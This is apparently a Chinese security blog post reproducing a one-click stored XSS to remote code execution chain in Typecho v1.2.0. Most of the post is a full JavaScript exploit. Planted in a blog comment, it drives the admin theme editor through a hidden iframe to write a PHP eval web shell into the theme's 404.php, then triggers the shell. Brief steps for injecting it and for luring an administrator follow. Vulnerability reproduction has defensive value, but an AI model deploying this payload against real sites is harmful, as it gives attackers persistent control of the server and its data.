ZAC安全
#2023#
今天看到typecho公开了一个xss,今天简单复现一下顺便说一下rce,还是经典的1click,懂的师傅可以直接关闭本文去复现了。本文感谢火炬师傅的大力支持!
本人用的环境是最新的releases,v1.2.0,以下的版本应该也都受影响
然后准备好ZAC.JS文件,作为exp
function step1(){
var data2="<iframe id="testxss" src="http://localhost/admin/theme-editor.php?theme=default&file=404.php" width="0%" height="0%" onload="poc()"></iframe>";
var oldata=document.body.innerHTML;
document.body.innerHTML=(oldata+data2);}
var times=0;
var g_shell=0;
function poc(){
if(times<=10){
var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
htmldata.innerText=('<?php eval($_POST[1]);');
btn[1].click();
times+=1;
if(g_shell==1){
var xhr1=new XMLHttpRequest();
xhr1.open('get','/usr/themes/default/404.php?shell=1');
xhr1.send();
}
else{
return 0;
}
}
}
step1();
搭建好环境
然后打开文章,进入到评论区
抓包并添加poc
然后此时上管理员账号进入后台,访问评论页面,可以看到我们已经成功的插入payload,此时就已经把马子写入到404.php了
其中rce我们访问的文件是 admin/theme-editor.php
后端处理逻辑在var/Widget/Themes/Edit.php文件中
使用fwrite写入我们传的参数
宣传页
ZAC安全
本人微信:zacaq999
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点。
安全宝典欢迎各位大佬以投稿方式免费进入!
原文始发于微信公众号(ZAC安全):Typecho(最新1clickRCE复现)